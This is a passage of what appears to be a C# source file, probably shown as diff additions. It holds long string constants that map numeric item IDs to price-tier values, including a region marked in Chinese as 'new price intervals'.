+12891 10 +12892 10 +12894 10 +12895 10 +12896 10 +12897 10 +20097 10 +12898 2 +12899 5 +12900 10 +12901 5 +12902 5 +12903 5 +12904 5 +12905 5 +12906 5 +12907 5 +12908 5 +12909 5 +12910 5 +12911 10 +12912 5 +12913 10 +12914 10 +12915 5 +12916 5 +12917 5 +12918 5 +12919 5 +12920 2 +12921 10 +12922 10 +12923 10 +12924 10 +12925 5 +12926 5 +12927 5 +12928 10 +12929 5 +12930 5 +12931 5 +12932 10 +12933 5 +12934 10 +12935 5 +12936 5 +12937 5 +12938 10 +12939 10 +12940 10 +12941 5 +12942 5 +12943 10 +12944 5 +12945 5 +12946 5 +12947 5 +12948 5 +12949 5 +12950 5 +12951 5 +12952 5 +12953 5 +12954 5 +12955 5 +12956 5 +12957 5 +12958 5 +12959 10 +12960 10 +12961 5 +12962 5 +12963 10 +12964 10 +12965 5 +12966 5 +12967 5 +12968 5 +12969 5 +12970 5 +12971 10 +12972 5 +12973 5 +12974 5 +12975 5 +12976 10 +12977 5 +12978 10 +12979 5 +12980 5 +12981 10 +12982 5 +12983 5 +12984 5 +12985 10 +12986 5 +12987 5 +12988 5 +12989 5 +12990 2 +12991 2 +12992 10 +12993 10 +12994 10 +12995 5 +12996 2 +12997 2 +12998 2 +12999 2 +13000 2 +13001 10 +13002 2 +13003 2 +13004 2 +13005 2 +13006 10 +13007 10 +13008 10 +13009 10 +13010 10 +13011 10 +13012 10 +13013 5 +13014 3 +13015 2 +13016 2 +13017 2 +13018 5 +13019 2 +13020 2 +13021 2 +13022 2 +13023 5 +13024 5 +13025 2 +13026 10 +13027 10 +13028 5 +13029 2 +13030 2 +13031 5 +13032 2 +13033 2 +13034 2 +13035 5 +13036 2 +13037 2 +13041 5 +13042 2 +13043 2 +13044 2 +13045 2 +13046 2 +13047 2 +13048 5 +13049 2 +13050 2 +13051 2 +13052 2 +13053 5 +13054 2 +13055 2 +13065 5 +13066 3 +13067 2 +13068 2 +13069 3 +13070 5 +13071 2 +13072 2 +13073 2 +13074 2 +13076 5 +13077 10 +13078 2 +13079 2 +13080 2 +13081 5 +13082 2 +13083 2 +13084 5 +13085 2 +13086 2 +13087 5 +13088 2 +13089 2 +13090 5 +13091 2 +13092 5 +13093 10 +13038 5 +13039 2 +13040 2 +14687 5 +14688 10 +14689 10 +14690 5 +14691 2 +14692 2 +14693 2 +14694 2 +14695 2 +13094 5 +13095 10 +13096 10 +13097 10 +13098 10 +13099 10 +13100 10 +13101 10 +13102 10 +13103 10 +13104 10 +13105 10 +13106 10 +13107 10 +13108 10 +13109 10 +13110 10 +13111 10 +13112 10 +13113 10 +13114 10 +13115 10 +13116 10 +13117 10 +13118 10 +13119 10 +13120 5 +13121 10 +13122 10 +13123 10 +13124 10 +13125 5 +13126 3 +13127 10 +13128 10 +13129 5 +13130 10 +13131 10 +13132 10 +13133 10 +13134 10 +13135 10 +13136 10 +13137 5 +13138 10 +13139 10 +13140 10 +13141 10 +13142 10 +13143 10 +13144 10 +13145 10 +13146 10 +13147 10 +13148 10 +13149 10 +13150 10 +13151 10 +13152 10 +13156 2 +13157 2 +13158 3 +13159 3 +13160 3 +13161 5 +13162 3 +15535 2 +14891 5 +14892 5 +14894 5 +14895 5 +14896 5 +14910 5 +14911 3 +15500 1.3 +16300 8 +16301 10 +16302 8 +16303 8 +16304 8 +16305 8 +16306 8 +16307 5 +16308 8 +16309 8 +16310 8 +16311 8 +16312 5 +16327 2 +16328 2 +16329 2 +16427 8 +16428 8 +16460 8 +16461 8 +16462 8 +16463 10 +16500 5 +16501 5 +16502 8 +16503 10 +16504 5 +16505 10 +16506 10 +16507 10 +16508 10 +16509 10 +16510 10 +16511 10 +16512 10 +16513 10 +16514 10 +16515 10 +16516 5 +16517 10 +16518 10 +20185 5 +20186 5 +20187 5 +16606 5 +16607 8 +16608 5 +16609 5 +16610 5 +16706 5 +16707 5 +16708 5 +16709 10 +16710 10 +16711 5 +16712 5 +16713 5 +16714 5 +16715 5 +16716 10 +16717 10 +16718 5 +16719 5 +16720 5 +16721 5 +16722 5 +16723 5 +16724 5 +16733 5 +16734 5 +16735 5 +16736 5 +16737 5 +16738 5 +16739 5 +16740 5 +16741 8 +16742 5 +16743 5 +16744 5 +16745 5 +16746 5 +16747 5 +16748 5 +16749 5 +16750 5 +16751 5 +16752 5 +16753 5 +16754 5 +16755 5 +16756 5 +16757 5 +16758 5 +16759 5 +16760 5 +16761 5 +16762 5 +16763 5 +16764 5 +16768 10 +16769 5 +16770 5 +16771 5 +16772 5 +16773 10 +16774 5 +16775 10 +16776 5 +16777 5 +16778 5 +16779 8 +16780 5 +16781 5 +16782 5 +16783 5 +16784 5 +16785 8 +16786 5 +16787 5 +16788 5 +16789 10 +16790 10 +16791 5 +16792 5 +16793 10 +16827 8 +16828 5 +16829 8 +16830 3 +16831 2 +16832 3 +16833 10 +16834 8 +16835 10 +16836 10 +16837 8 +16838 5 +16839 10 +16840 5 +20172 10 +20173 10 +16841 5 +16842 2 +16843 8 +16844 8 +16845 8 +16846 3 +16847 5 +16848 5 +16849 5 +16850 8 +16851 5 +16852 5 +16853 3 +16854 5 +16855 5 +16856 5 +20075 10 +16857 5 +16858 3 +16859 5 +16860 3 +16861 3 +16862 5 +16863 5 +16864 3 +16865 8 +16866 2 +16899 5 +16900 5 +16939 2 +16940 3 +16941 5 +16972 2 +16973 3 +16974 2 +16975 5 +16976 2 +16977 3 +16978 2 +16979 2 +16980 2 +16981 2 +16982 2 +16983 5 +16984 2 +16985 2 +16986 2 +16987 2 +16988 3 +18083 10 +18084 2 +18085 2 +18086 10 +17120 8 +17121 8 +17122 8 +17123 10 +17124 5 +17125 5 +17126 5 +17127 5 +17128 2 +17129 3 +17131 3 +17132 2 +17133 5 +17278 3 +17279 5 +17280 5 +17281 2 +17282 5 +17283 5 +17284 5 +17409 10 +17410 10 +17411 10 +20284 3 +20285 3 +17558 5 +17559 5 +17560 5 +17561 5 +17562 5 +17563 5 +17564 5 +17565 5 +17566 5 +17567 5 +17568 5 +17569 5 +17570 5 +17571 5 +17572 5 +17573 5 +17574 5 +17575 5 +17576 5 +17577 5 +17578 5 +17579 5 +17580 5 +17581 5 +17582 5 +17583 5 +17584 5 +17585 5 +17586 5 +17587 5 +17588 5 +17589 5 +17590 5 +17591 5 +17592 5 +17593 5 +17594 5 +17595 5 +17596 5 +17597 5 +17598 5 +17599 5 +17600 10 +17601 5 +17602 5 +17603 5 +17604 5 +17605 5 +17606 5 +17607 5 +17608 5 +17609 5 +17610 5 +17611 5 +17612 5 +17613 5 +17614 5 +17615 5 +17616 5 +17617 5 +17618 5 +17619 5 +17620 5 +17621 5 +17622 5 +17623 5 +17624 5 +17625 5 +17626 5 +17627 5 +17628 5 +17629 5 +17630 5 +17631 5 +17632 5 +17633 5 +17634 5 +17635 5 +17636 5 +17637 5 +17638 5 +17639 5 +17640 5 +17641 5 +17642 5 +17643 5 +17644 5 +17645 5 +17646 5 +17647 5 +17648 5 +17649 5 +17650 5 +17651 5 +17652 5 +17653 5 +17654 5 +17655 5 +17660 5 +17656 5 +17657 5 +17658 5 +17659 5 +17661 5 +17662 5 +17663 5 +17664 5 +17665 5 +17666 5 +17667 5 +17668 5 +17669 5 +17670 5 +17751 3 +17752 2 +17753 10 +17754 3 +17755 5 +17756 3 +17757 5 +17758 5 +17759 10 +17760 3 +17761 3 +17762 10 +17763 2 +17764 5 +17765 5 +17766 3 +17767 2 +17768 5 +17769 5 +17770 5 +17771 5 +17772 5 +17773 10 +17774 2 +17775 8 +17776 8 +17777 8 +17778 5 +17779 10 +17780 3 +17781 3 +17782 3 +17783 3 +17784 10 +17785 10 +17786 10 +17787 2 +17788 2 +17789 2 +17790 10 +17791 3 +17792 2 +17793 2 +17794 3 +17795 3 +17796 2 +17797 3 +17798 3 +17799 3 +17800 3 +17801 5 +17802 3 +17894 5 +17895 5 +17896 5 +17897 3 +17898 5 +17899 5 +17900 3 +17901 3 +17902 3 +17903 3 +17904 5 +17905 3 +17906 3 +17907 3 +17908 5 +17909 3 +17910 3 +17911 3 +17912 5 +17913 3 +17914 5 +17915 3 +17916 3 +17917 3 +17918 3 +17919 3 +17920 3 +17921 3 +17922 3 +17923 3 +17924 3 +17925 3 +17926 3 +17927 3 +17928 3 +17929 3 +17930 5 +17931 5 +17932 5 +17933 5 +17934 5 +17935 5 +17936 5 +17937 5 +17938 5 +17939 5 +17940 5 +17941 5 +17942 5 +17943 10 +17944 5 +17945 5 +17946 5 +17947 5 +17948 5 +17949 5 +17950 3 +17951 3 +17952 3 +17953 3 +17954 3 +17955 3 +17956 3 +17957 3 +17958 3 +17959 3 +17960 3 +17961 3 +17962 3 +17963 3 +17964 3 +17965 3 +17966 3 +17967 3 +17968 3 +17969 3 +17970 3 +17971 3 +17972 3 +17973 3 +17974 3 +17975 3 +17976 3 +17977 3 +17978 3 +17979 3 +17980 3 +17981 3 +17982 3 +17983 3 +17984 3 +17985 3 +17986 3 +17987 3 +17988 3 +17989 5 +17990 3 +17991 3 +17992 3 +17993 3 +17994 3 +17995 3 +17996 3 +17997 3 +17998 3 +17999 5 +18000 3 +18001 3 +18002 3 +18003 3 +18004 3 +18005 3 +18006 3 +18007 3 +18008 3 +18009 3 +18010 3 +18011 3 +18012 3 +18013 3 +18014 3 +18015 3 +18016 3 +18017 3 +18018 3 +18019 3 +18020 3 +18021 3 +18022 3 +18023 3 +18024 3 +18025 3 +18026 3 +18027 3 +18028 3 +18029 3 +18030 3 +18031 3 +18033 3 +18034 3 +18755 3 +18035 3 +18036 3 +18038 3 +18039 3 +18040 3 +18041 3 +18042 3 +6302 1 +6322 1 +6325 1 +6329 1 +6335 1 +1876 1 +6343 1 +6344 1 +6345 1 +6347 1 +6351 1 +8527 1 +8534 1 +1547 1 +1548 1 +1549 1 +5227 10 +5229 5 +5230 10 +5231 10 +5233 5 +5235 5 +5236 5 +5237 10 +5238 10 +5239 10 +5241 10 +5242 10 +5243 10 +5244 5 +18176 10 +18177 10 +18178 10 +18179 10 +18180 10 +18181 10 +18182 10 +18183 5 +18184 10 +18185 10 +18158 5 +18159 5 +18160 5 +18161 5 +18162 5 +18163 5 +18164 5 +18165 5 +18166 5 +18167 10 +18168 5 +18169 5 +18170 5 +18171 5 +18172 5 +18173 10 +18174 10 +18175 5 +18194 5 +18195 5 +18196 5 +18197 5 +18198 5 +18199 5 +18200 5 +18201 5 +18202 5 +18203 10 +18204 5 +18205 5 +18206 5 +18207 5 +18208 5 +18209 5 +18210 5 +18211 5 +18212 5 +18213 5 +18214 5 +18215 5 +18216 5 +18217 10 +18219 5 +18220 5 +18221 5 +18222 5 +18223 5 +18224 5 +18225 10 +18226 10 +18227 5 +18228 10 +18229 5 +18230 10 +18231 5 +18232 5 +18233 5 +18234 5 +18235 5 +18236 5 +18237 5 +18238 10 +18143 5 +18144 10 +18145 5 +18146 5 +18147 5 +18148 5 +18149 10 +18138 5 +18139 5 +18140 5 +18150 10 +18151 5 +18154 5 +18155 5 +18156 5 +18186 10 +18188 5 +18191 5 +18192 10"; + #endregion + + #region 新的价格区间 + + public static string NewPriceSpace = @"423 2 +435 2 +441 2 +3849 2 +5215 2 +7312 2 +5209 2 +7313 2 +7314 2 +7315 2 +7316 2 +7317 2 +7318 1.3 +7319 2 +7298 2 +7300 2 +7320 2 +7321 2 +7307 2 +7309 2 +7310 2 +7311 2 +7322 1.3 +2627 5 +2628 5 +4666 5 +4667 5 +4668 5 +4669 5 +4670 5 +4671 5 +4672 10 +4673 5 +4674 5 +4675 5 +4676 5 +4677 5 +4678 5 +4679 5 +4680 5 +4681 3 +4682 5 +4683 5 +4684 5 +4688 5 +4689 5 +4795 3 +4796 3 +4797 3 +4799 3 +4800 2 +4801 2 +4802 5 +4803 2 +4805 2 +4806 2 +4807 3 +4808 2 +4809 2 +4810 2 +4811 2 +4812 2 +4813 3 +4834 5 +4840 3 +4841 2 +4842 2 +4843 2 +4844 2 +4845 2 +4846 10 +18998 2 +4815 2 +4816 2 +4817 2 +4818 2 +4820 2 +4821 2 +4822 2 +4823 2 +4825 2 +4826 2 +4827 3 +4839 3 +5494 2 +5495 2 +5497 2 +5498 2 +5499 2 +5500 2 +5501 2 +4755 2 +4756 2 +4757 2 +4758 2 +4759 2 +4760 2 +4761 2 +4762 2 +4763 2 +4764 2 +4765 2 +4766 2 +4767 2 +4768 2 +4769 5 +4770 2 +4771 2 +4772 2 +4773 3 +4774 2 +4775 2 +4776 2 +4777 2 +4778 2 +4779 3 +4828 2 +4829 2 +4830 2 +4831 2 +4832 2 +18994 3 +4789 2 +4790 2 +4791 2 +4792 2 +4793 2 +4794 2 +4833 2 +4735 10 +4736 10 +4737 10 +4738 10 +4739 10 +4740 10 +4741 10 +4742 10 +4743 10 +4744 10 +4745 10 +4746 10 +4747 10 +4748 10 +4749 10 +4750 10 +4751 10 +4752 10 +4753 5 +4754 10 +4780 2 +4781 2 +4709 2 +4710 3 +4711 2 +4712 2 +4713 2 +4714 2 +4715 2 +4716 2 +4717 3 +4718 2 +4719 2 +4720 2 +4721 2 +4722 2 +4723 2 +4724 2 +4731 10 +4732 5 +4733 10 +5504 10 +5505 10 +5506 10 +5507 10 +5508 10 +4730 5 +4726 10 +4727 10 +4728 10 +4729 10 +4690 5 +4691 5 +4692 5 +4693 5 +4694 5 +4695 5 +4696 5 +4697 5 +4698 5 +4699 5 +4700 5 +4836 3 +4838 5 +4848 5 +4849 3 +4850 3 +4851 5 +18996 2 +18997 2 +19000 5 +19001 5 +19002 5 +19003 2 +19004 5 +19005 2 +19006 5 +19007 2 +19008 2 +19009 2 +19010 2 +19011 2 +19012 2 +19013 2 +19014 2 +19016 2 +2673 5 +2674 10 +2675 5 +2676 8 +2677 10 +2678 5 +2679 5 +2680 10 +2681 8 +2682 5 +2683 5 +2684 10 +2685 10 +2686 5 +2687 10 +2689 10 +2690 5 +2691 8 +2692 5 +2693 10 +2694 8 +2695 5 +2696 3 +2697 8 +2698 3 +2699 5 +2700 5 +2701 3 +2702 5 +2703 5 +2704 3 +2705 5 +2706 5 +2707 5 +2708 5 +2709 10 +2710 10 +2711 10 +2712 10 +2713 5 +2714 5 +2715 5 +2716 5 +2717 10 +2718 10 +2719 5 +2720 10 +2721 3 +2722 10 +2723 10 +2724 8 +2725 10 +2726 10 +2727 10 +2728 5 +2729 10 +2730 10 +2731 10 +2732 5 +2733 10 +2734 5 +18984 10 +2735 5 +2736 5 +2737 5 +2738 3 +2739 5 +2740 3 +2741 3 +2742 8 +2743 8 +2745 10 +18985 10 +2746 10 +2747 8 +2748 3 +2749 5 +2750 8 +2751 10 +2752 8 +2753 3 +2754 5 +2755 5 +2756 3 +2757 10 +2758 5 +2759 10 +2760 8 +2762 8 +2764 8 +2765 3 +2766 5 +2768 10 +2769 3 +2770 5 +2771 5 +2772 5 +2773 5 +2774 5 +2775 10 +2776 5 +2777 5 +2778 5 +2779 8 +18986 10 +2780 3 +2781 5 +2782 5 +2783 3 +2784 10 +2785 5 +2786 5 +2787 8 +2788 5 +2789 5 +2790 8 +2791 5 +2792 5 +2793 5 +2794 2 +2795 5 +2796 5 +2797 8 +2798 3 +2799 8 +2800 3 +2801 5 +2802 5 +18989 10 +18990 5 +2804 5 +2805 10 +2806 5 +2807 10 +2808 5 +2809 10 +2810 10 +2811 3 +2812 5 +2813 10 +2814 5 +2815 10 +2816 5 +2817 5 +2818 5 +2819 3 +2820 5 +2821 5 +2822 5 +2823 5 +2824 5 +2825 5 +2826 3 +2827 5 +2828 10 +2829 5 +2830 5 +2831 3 +2832 5 +2833 10 +2834 5 +2835 10 +2836 8 +2837 5 +2838 5 +2839 3 +2840 5 +2841 2 +2842 5 +2843 10 +2844 5 +5674 5 +5675 5 +5676 3 +18988 10 +18992 10 +2955 2 +2956 3 +2958 5 +2960 5 +2961 5 +2962 3 +2963 5 +2964 3 +2965 5 +2968 2 +5478 5 +2969 10 +2970 10 +2971 10 +5479 10 +2982 2 +2983 5 +2984 2 +2985 2 +2986 3 +2987 5 +2988 2 +2989 2 +2990 2 +2991 5 +2992 5 +2993 5 +2994 5 +2995 5 +2996 2 +2998 5 +2999 5 +3000 5 +3001 5 +3002 3 +3003 2 +3004 3 +3005 5 +3006 3 +3007 2 +3008 2 +3009 2 +3010 3 +3011 5 +3013 3 +3014 10 +3015 3 +3016 5 +3017 2 +3018 2 +3019 2 +3023 5 +3024 3 +3025 3 +3026 5 +3027 5 +3028 2 +3031 2 +3032 2 +3033 3 +4656 5 +5723 5 +3035 2 +3036 2 +3037 2 +3038 3 +3039 5 +3040 5 +3041 2 +3042 2 +3043 5 +3044 2 +3047 5 +3048 5 +3049 5 +3050 5 +3051 1.3 +3052 3 +3053 10 +3055 5 +3056 5 +3057 5 +5487 3 +18128 2 +18129 2 +3058 5 +3059 3 +3060 5 +3061 5 +3062 5 +3063 3 +3064 5 +18788 3 +3065 2 +3066 5 +3067 3 +3068 5 +3069 5 +3070 5 +3071 5 +3072 5 +3073 2 +3074 3 +3075 3 +3076 3 +3077 5 +3078 5 +3079 2 +3080 5 +3081 2 +3082 2 +3083 5 +3085 5 +3086 2 +3087 2 +3089 2 +3090 2 +3091 5 +3092 2 +3094 2 +3095 2 +3096 3 +3097 2 +3098 2 +3099 2 +3100 2 +3102 5 +3103 2 +3105 2 +3106 5 +3107 2 +5490 2 +5754 3 +19140 3 +19141 2 +19142 2 +19143 2 +19145 1.5 +5756 1.3 +5758 5 +5760 2 +5761 8 +5762 2 +5765 5 +5766 3 +19160 1.5 +5772 2 +19144 2 +5774 2 +19151 2 +19153 2 +19154 2 +5796 3 +5797 1.3 +19162 1.2 +19163 2 +19164 2 +19166 2 +19167 2 +19169 1.3 +5808 1.2 +5809 2 +5810 2 +5812 2 +5813 2 +19155 2 +19156 3 +19158 1.5 +19159 2 +5825 3 +19147 5 +19148 3 +19149 2 +5827 2 +19146 1.3 +5853 2 +5855 2 +5857 2 +5860 3 +19133 3 +19134 5 +19135 2 +19136 5 +5862 3 +5863 3 +5865 5 +5866 5 +5867 5 +19137 5 +19138 5 +5869 5 +5870 5 +5871 5 +5872 5 +5873 5 +5874 5 +5875 2 +5876 5 +5877 5 +5878 5 +5879 5 +5881 5 +5882 5 +19121 3 +19122 5 +19123 3 +19124 5 +5884 3 +5885 5 +5886 2 +5887 2 +5888 3 +5889 5 +5890 2 +5891 5 +5892 5 +5893 5 +5894 2 +5895 5 +5896 5 +5897 5 +5898 5 +5899 2 +5900 5 +5903 5 +5904 5 +19120 2 +19272 2 +19126 2 +19128 5 +19129 5 +19130 5 +19132 3 +5908 2 +5909 10 +5911 2 +5913 2 +5915 2 +5916 2 +19101 3 +19102 3 +19103 3 +19104 3 +19105 3 +19106 3 +19107 3 +5918 2 +5920 2 +19109 5 +5923 2 +5928 5 +5930 5 +5932 2 +5936 5 +5938 5 +5942 2 +5944 2 +5945 2 +5946 2 +5948 2 +5949 5 +5951 3 +5954 2 +5967 5 +5969 5 +5970 5 +5971 5 +5974 2 +5978 3 +5980 3 +5981 2 +5983 5 +5987 5 +5993 2 +5994 2 +5995 5 +5996 3 +5998 2 +6002 5 +6004 3 +6008 3 +6010 3 +6012 3 +6014 5 +6016 3 +6018 10 +6020 5 +6026 2 +6030 2 +6032 2 +6038 2 +6040 5 +6044 3 +6046 2 +6047 5 +6048 5 +6049 2 +6051 5 +6052 5 +6053 5 +6054 2 +6055 5 +6056 5 +6057 5 +6058 5 +6059 3 +6060 5 +6061 2 +6062 3 +6063 3 +6064 3 +6065 2 +6067 2 +6068 5 +6070 5 +6072 3 +6075 2 +19113 2 +19115 5 +6130 2 +6132 2 +6134 2 +6136 2 +6138 2 +6140 2 +6142 2 +6144 2 +6148 3 +6151 3 +6155 3 +6157 3 +6159 3 +6163 2 +6165 2 +6173 5 +6176 5 +6178 2 +6180 1.5 +6182 1.3 +6184 3 +6186 5 +6188 2 +6189 3 +6191 2 +6192 3 +6194 2 +6195 3 +6197 2 +6198 2 +6199 5 +6200 2 +6202 3 +6204 2 +6206 2 +6208 2 +6211 3 +6212 3 +6213 2 +6214 2 +6215 3 +6216 3 +6217 2 +6219 3 +6220 2 +6222 2 +6229 2 +6230 2 +6231 2 +6233 2 +6234 2 +6235 2 +6236 3 +6237 2 +6238 2 +6239 2 +6243 2 +6244 5 +6245 2 +6249 2 +6250 2 +6258 2 +6259 2 +6261 2 +6262 2 +6264 2 +6265 2 +6266 2 +6269 2 +6271 2 +6272 2 +6273 3 +6274 3 +6276 2 +6292 2 +6293 3 +6294 3 +6299 3 +6303 2 +6304 2 +6305 2 +6306 5 +6308 2 +6312 3 +6319 2 +6321 10 +6324 2 +6326 2 +6327 2 +6330 10 +6331 2 +6332 2 +6333 2 +6337 2 +6339 2 +6341 2 +6346 2 +6348 2 +6349 2 +6350 2 +6353 5 +6354 2 +6357 10 +6358 5 +6359 5 +6360 5 +6363 5 +6364 3 +6368 2 +6370 2 +6373 10 +6375 2 +6377 2 +6379 3 +6381 10 +6384 2 +6385 3 +6386 2 +6387 2 +6388 3 +6389 2 +6391 2 +6392 2 +6393 2 +6394 2 +6395 2 +7325 10 +7326 10 +7327 10 +7328 10 +7329 10 +7330 10 +7331 10 +7333 10 +7335 10 +7336 10 +7337 10 +7338 10 +7339 10 +7340 10 +7341 10 +7342 10 +7343 10 +7344 10 +7345 10 +7349 10 +7350 10 +7351 10 +7352 10 +7353 10 +7354 10 +7356 10 +7358 10 +7359 10 +7360 10 +7362 10 +7363 10 +7364 10 +7365 10 +7366 10 +7367 10 +7368 10 +7370 10 +7371 10 +7373 10 +7374 10 +7375 10 +7376 10 +7377 10 +7378 10 +7379 10 +7380 10 +7381 10 +7383 10 +7384 10 +7385 10 +7386 10 +7388 10 +7389 10 +7390 10 +7392 10 +7393 10 +7394 10 +7395 10 +7397 10 +7398 10 +7399 10 +7400 10 +7401 10 +7402 10 +7403 10 +7404 10 +7405 10 +7406 10 +7407 10 +7408 10 +7409 10 +7410 10 +7412 10 +7413 10 +7414 10 +7415 10 +7416 10 +7418 10 +7419 10 +7420 10 +7421 10 +7422 10 +7423 10 +7424 10 +7425 10 +7427 10 +7429 10 +7430 10 +7431 10 +7433 10 +7434 10 +7435 10 +7436 10 +7437 10 +7438 10 +7439 10 +7440 10 +7441 10 +7442 10 +7444 10 +7445 10 +7446 10 +7447 10 +7449 10 +7451 10 +7452 10 +7453 10 +7454 10 +7456 10 +7457 10 +7459 10 +7460 10 +7462 10 +7463 10 +7464 10 +7465 10 +7467 10 +7468 10 +7469 10 +7470 10 +7471 10 +7472 10 +7473 10 +7474 10 +7475 10 +7476 10 +7477 10 +7478 10 +7479 10 +7481 10 +7482 10 +7483 10 +7484 10 +7485 10 +7486 10 +7487 10 +7488 10 +7489 10 +7490 10 +7491 10 +7492 10 +7493 10 +7494 10 +7495 10 +7496 10 +7497 10 +7498 10 +7499 10 +7500 10 +7502 10 +7503 10 +7504 10 +7505 10 +7506 10 +7507 10 +7509 10 +7510 10 +7511 10 +7512 10 +7513 10 +7514 10 +7721 3 +7723 5 +7724 3 +7725 5 +7726 3 +7727 5 +7728 3 +7729 5 +7730 5 +7731 5 +7732 5 +7734 5 +7736 5 +7738 5 +7739 5 +7740 5 +7741 5 +7744 3 +7745 5 +7746 5 +7747 5 +7748 3 +7749 3 +7750 3 +7751 3 +7752 3 +7753 5 +7754 5 +7755 3 +7756 3 +7757 5 +7758 5 +7759 3 +7760 3 +7761 5 +7762 5 +7763 5 +7764 3 +7765 5 +7766 3 +7767 5 +7768 3 +7769 3 +7770 3 +7771 5 +7772 3 +7773 5 +7774 3 +7775 3 +7776 3 +7783 3 +7784 5 +7785 5 +7786 5 +7787 5 +7788 3 +7789 5 +7791 5 +7792 5 +7793 3 +7795 3 +7777 5 +7778 3 +7779 2 +7780 5 +7781 3 +7782 2 +7794 5 +7818 5 +7821 3 +7822 5 +7824 10 +7825 5 +7831 5 +7835 5 +7836 5 +7839 5 +7845 5 +7849 5 +7855 5 +7859 2 +7796 5 +7797 5 +7798 3 +7799 5 +7800 5 +7801 3 +7803 5 +7804 8 +7805 5 +7806 10 +7816 10 +7817 3 +7807 2 +7808 3 +7809 2 +7810 3 +7811 3 +7813 3 +7814 5 +7815 3 +7862 5 +7864 5 +7865 3 +7866 3 +7867 5 +7869 5 +7870 5 +7871 5 +7872 5 +7873 5 +7875 5 +7876 2 +7877 5 +7878 3 +7879 5 +7880 5 +7881 5 +7882 3 +7884 5 +7885 5 +7887 2 +7888 10 +7889 5 +7891 5 +7892 5 +7893 10 +7895 5 +7896 5 +7897 5 +7898 2 +7899 2 +7900 2 +7901 5 +7902 3 +7904 5 +7905 5 +8187 10 +8188 10 +8191 10 +8200 3 +8204 5 +8205 8 +8217 10 +8218 2 +8219 2 +8220 5 +8221 2 +8222 3 +8223 10 +8224 3 +8225 3 +8226 3 +8227 5 +8228 2 +8229 2 +8230 2 +8231 5 +8232 2 +8233 3 +8235 3 +8236 5 +8237 5 +8238 3 +8239 3 +8240 2 +8241 5 +8242 5 +8243 2 +8244 3 +8246 2 +8247 3 +8248 8 +8249 5 +8250 3 +8251 5 +8252 2 +8253 3 +8254 3 +8255 3 +8256 3 +8257 3 +8258 3 +8259 3 +8260 3 +8262 3 +8263 3 +8264 3 +8265 2 +8267 3 +8268 3 +8269 3 +8270 3 +8271 5 +8272 5 +8273 5 +8274 5 +8275 3 +8276 5 +8277 3 +8279 5 +8280 3 +8281 2 +8282 2 +8283 3 +8284 3 +8285 3 +8286 5 +8287 5 +8288 5 +8463 2 +8465 2 +8466 1.2 +8468 1.2 +8472 2 +8473 1.3 +8475 2 +8476 1.3 +8477 1.2 +8479 1.2 +8482 2 +8483 2 +8484 1.1 +8488 2 +8489 2 +8490 2 +8492 2 +8493 2 +8495 2 +8496 1.1 +8497 2 +8498 1.3 +8524 1.1 +8525 1.1 +8526 1.1 +8528 1.3 +8529 1.1 +8530 2 +8531 1.1 +8532 1.1 +8535 1.3 +8537 2 +8551 2 +8552 2 +8553 2 +8554 5 +8555 2 +8556 2 +8557 2 +8558 2 +8559 2 +8560 2 +8561 2 +8563 2 +8565 2 +8567 2 +8568 2 +8569 2 +8570 2 +8571 2 +8572 2 +8573 2 +8574 2 +8575 2 +8576 2 +8577 2 +8578 2 +8579 2 +8580 2 +8581 2 +8582 2 +8609 2 +8610 2 +8611 2 +8612 1.5 +8613 2 +8614 2 +8615 2 +8617 5 +8618 2 +8619 2 +8620 2 +8621 2 +8622 2 +8623 2 +8624 2 +8625 2 +8626 2 +8627 2 +8628 2 +8629 2 +8630 2 +8631 2 +8633 2 +8640 5 +8641 5 +8642 5 +8644 5 +8645 5 +8646 5 +8647 5 +8648 5 +8649 5 +8650 5 +8651 5 +8652 10 +8653 2 +8654 2 +8655 2 +8656 2 +8658 2 +8659 2 +8660 2 +8661 5 +8662 2 +8664 2 +8665 2 +8666 2 +8667 2 +8668 2 +8684 2 +8685 2 +8686 2 +8687 2 +8688 2 +8690 2 +8691 2 +8692 2 +8693 2 +8694 2 +8695 2 +8696 2 +8697 2 +8699 2 +8700 2 +8701 2 +8704 2 +8705 2 +8706 2 +8707 2 +8708 2 +8709 2 +8710 2 +8711 2 +8712 2 +8713 2 +8714 2 +8715 2 +8716 2 +8717 3 +8718 2 +8719 2 +8720 10 +9501 2 +9502 3 +9503 3 +9504 5 +9505 3 +9506 2 +9507 2 +9508 3 +9509 3 +9511 3 +9512 3 +9513 5 +9514 1.5 +9515 8 +9516 3 +9518 10 +9519 8 +9520 2 +9521 2 +9522 5 +9523 3 +9524 2 +9525 2 +9526 3 +9528 3 +9530 3 +9531 2 +9532 5 +9533 5 +9534 3 +9535 3 +9536 3 +9537 5 +9538 3 +9539 2 +9540 3 +9541 3 +9542 5 +9543 3 +9544 3 +9545 3 +9546 3 +9547 3 +9548 2 +9549 10 +9550 10 +9553 5 +9554 5 +9555 10 +9556 5 +9557 1.5 +9560 5 +9562 10 +9563 10 +9564 10 +9565 5 +9566 5 +9567 10 +9568 3 +9569 10 +9570 10 +9571 10 +9572 10 +9574 10 +9575 10 +9576 10 +9577 10 +9578 10 +9579 10 +9580 10 +9581 10 +9582 10 +9584 3 +9585 5 +9586 10 +9587 8 +9589 5 +9590 10 +9591 8 +9592 5 +9593 8 +9595 5 +9596 5 +9598 5 +9599 3 +9600 5 +9601 3 +9602 3 +9603 3 +9604 3 +9606 3 +9607 3 +9608 10 +9609 10 +9612 5 +9613 3 +9614 10 +9615 10 +9616 5 +9618 5 +9619 10 +9620 2 +9621 2 +9622 10 +9623 10 +9624 3 +9625 2 +9626 3 +9627 5 +9628 2 +9629 10 +9630 5 +9631 2 +9632 10 +9633 3 +9634 5 +9635 5 +9636 5 +9637 3 +9638 3 +9639 10 +9644 5 +9646 5 +9648 5 +9649 5 +9650 5 +9651 5 +9653 10 +9654 10 +9655 10 +9656 5 +9657 2 +9658 10 +9659 1.5 +9660 10 +9661 10 +9663 10 +9664 10 +9665 5 +9666 8 +9667 10 +9668 10 +9670 10 +9671 8 +9673 5 +9674 5 +9675 5 +9676 10 +9677 10 +9678 3 +9679 10 +9680 10 +9681 10 +9682 10 +9683 10 +9684 5 +9685 10 +9695 10 +9696 5 +9697 10 +9698 5 +9699 2 +9700 10 +9705 10 +9706 10 +9707 10 +9708 10 +9709 10 +9710 10 +9711 5 +9712 10 +9713 5 +9714 5 +9715 5 +9716 8 +9717 10 +9718 10 +9719 2 +9720 5 +9721 10 +9722 10 +9723 10 +9724 10 +9725 8 +9727 10 +9728 10 +9729 10 +9730 10 +9733 10 +9734 10 +9735 2 +9736 10 +9737 5 +9738 5 +9739 5 +9740 10 +9741 8 +9742 10 +9743 10 +9744 5 +9745 5 +9746 5 